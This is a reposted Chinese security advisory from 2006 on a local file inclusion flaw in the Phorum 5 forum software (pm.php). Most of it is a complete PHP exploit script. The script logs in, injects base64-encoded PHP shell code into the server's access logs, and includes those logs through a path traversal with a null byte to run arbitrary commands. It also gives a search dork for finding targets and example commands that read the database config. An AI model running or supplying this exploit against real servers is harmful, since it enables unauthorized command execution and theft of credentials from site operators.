[转载]Forum 5 pm.php本地文件包含漏洞
信息来源：绿盟科技发布日期：2006-07-13
更新日期：2006-07-14
受影响系统：
Phorum Phorum 5.x
描述：
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BUGTRAQ ID: 18967
Phorum是一款基于PHP的WEB论坛程序，可在Linux和Unix操作系统下使用，也可在Microsoft Windows操作系统下使用。
Phorum处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
Phorum的pm.php模块没有正确的过滤用户输入中的“../”字符串，允许远程攻击者包含任意本地资源，导致执行任意命令。
<*来源：rgod （[email]rgod@autistici.org[/email]）
链接：[url]http://marc.theaimsgroup.com/?l=bugtraq&m=115281382927755&w=2#1[/url]
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHORUM 5 arbitrary local inclusion exploit\n";
echo "by rgod [email]rgod@autistici.org[/email]\n";
echo "site: [url]http://retrogod.altervista.org[/url]\n";
echo "dork: \"This forum powered by Phorum.\"\n\n";
/*
works with:
register_globals=On
magic_quotes_gpc=Off
*/
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to phorum\n";
echo "user/pass: you need a valid user account\n";
echo "cmd: a shell command\n";
echo "Options:\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo "Examples:\n";
echo "php ".$argv[0]." a.b.c.d /phorum/ username password ls -la\n";
echo "php ".$argv[0]." a.b.c.d / username password ls -la -P1.1.1.1:8080\n";
echo "php ".$argv[0]." a.b.c.d / username password cat ./include/db/config.php -p81\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$cmd="";
$port=80;
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "[1] Login ...\r\n";
$data="forum_id=0";
$data.="&redir=http%3A%2F%2F".$host."%2Findex.php";
$data.="&username=".$user;
$data.="&password=".$pass;
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: phorum_tmp_cookie=this+will+be+destroyed+once+logged+in\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ($cookie==" ") {die("unable to login...");}
echo "cookie -> ".$cookie."\n";
echo "[2] Injecting some code in log files...\r\n";
$CODE ='echo phorum_xpl;system($_COOKIE[cmd]);echo phorum_xpl;die();';
$CODE ='<?php eval(base64_decode('.base64_encode($CODE).'));?>';
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
# fill with possible locations
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+3;
echo "[".$a."] trying with $paths[$i]%00 for template argument\r\n";
$packet="GET ".$p."pm.php?1,page=1&GLOBALS[template]=".urlencode($paths[$i])."%00 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"phorum_xpl"))
{
echo "exploit succeeded...\n\n";
$temp=explode("phorum_xpl",$html);
echo $temp[1]; die;
}
}
//if you are here...
echo "exploit failed...";
?>
建议：
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厂商补丁：
Phorum
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
[url]http://www.phorum.org/[/url]
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